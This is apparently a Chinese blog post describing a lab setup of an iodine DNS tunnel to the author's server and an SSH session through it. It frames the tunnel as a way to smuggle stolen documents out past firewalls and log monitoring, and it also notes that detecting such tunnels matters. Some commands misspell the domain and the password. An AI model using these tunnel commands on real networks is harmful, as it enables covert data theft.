DNS隧道技术iodine简介
黑客成功入侵一台内网服务器之后,获取了企业密级文档,为了躲避内网日志监控系统,为了穿透内网的防火墙策略,选择一种秘密传输的加密隧道。
以下是我的实验:通过9步操作,成功的通过dns
加密隧道建立了ssh
加密连接。检测dns
隧道是当前态势感知系统必不可少的功能模块。
第一步:添加一条NS记录
我这里的设置是dns.hackbiji.top
指向dnsns.hackbiji.top
,想要解析dns.hackbiji.top
这个子域名,就需要去访问dnsns.hackbiji.top
这个域名服务器
第二步:添加一条A记录
将域名服务器解析到咱们的控制的公网服务器IP地址,我的域名服务器是dnsns.hackbiji.top
,对应的公网IP地址是96.45.188.252
第三步:通过iodine
建立DNS隧道
-f
前台显示-P
设置通信密码(我的密码是hackbijipasswd)10.0.0.1
(我设置的服务器私有网址,也可以设置为其他地址)dnsns.hackbiji.top
(我的域名,也可以设置为dns.hackbiji.top
)
iodined -fP hackbijipasswd 10.0.0.1 dnsns.hackbji.top
或
iodined -fP hackbijipasswd 10.0.0.1 dns.hackbji.top
第四步:查看服务器IP地址
- 多了一个
dns0
接口,IP地址是咱们设置的10.0.0.1
第五步:本地客户端连接服务器
-fP hackbijipasswd
前台显示,并设置密码(hackbijipasswd)96.45.188.252
我的服务器IP地址dnsns.hackbiji.top
我的域名(必须和服务器设置的域名保持一致)
iodine -fP hackbjipasswd 96.45.188.252 dnsns.hackbiji.top
或
iodine -fP hackbjipasswd 96.45.188.252 dns.hackbiji.top
第六步:查看本地客户端IP地址
- 多了一个
dns0
接口,并且IP地址是自动生成和服务器一个网段的10.0.0.2
第七步:从本地Ping通服务器10.0.0.1
- 这时我们的DNS隧道建立成功了
第八步:查看本地路由
- 访问
10.0.0.0
网段的流量都会走dns0
隧道接口
第九步:从本地dns0隧道登陆远程服务器
ssh
穿越dns0
隧道,成功登陆远程服务器
最后,DNS隧道抓包:
root@ubuntu:~# cat /etc/resolv.conf
# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
# DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN
nameserver 1.0.0.1
nameserver 8.8.8.8
nameserver 1.1.1.1
服务端dns0接口数据:
服务端eth0接口数据:
DNS请求和应答,都是通过eth0接口收发包的。
DNS隧道iodinehttps://www.zhihu.com/video/1142215126156566528如果发生在内网,你无法访问外网IP(96.45.188.252
)的时候,可以去掉IP地址,直接通过内网的DNS服务器帮你请求,依然能达到建立隧道的效果。
iodine -fP hackbjipasswd dnsns.hackbiji.top
编辑于 2019-12-24 22:12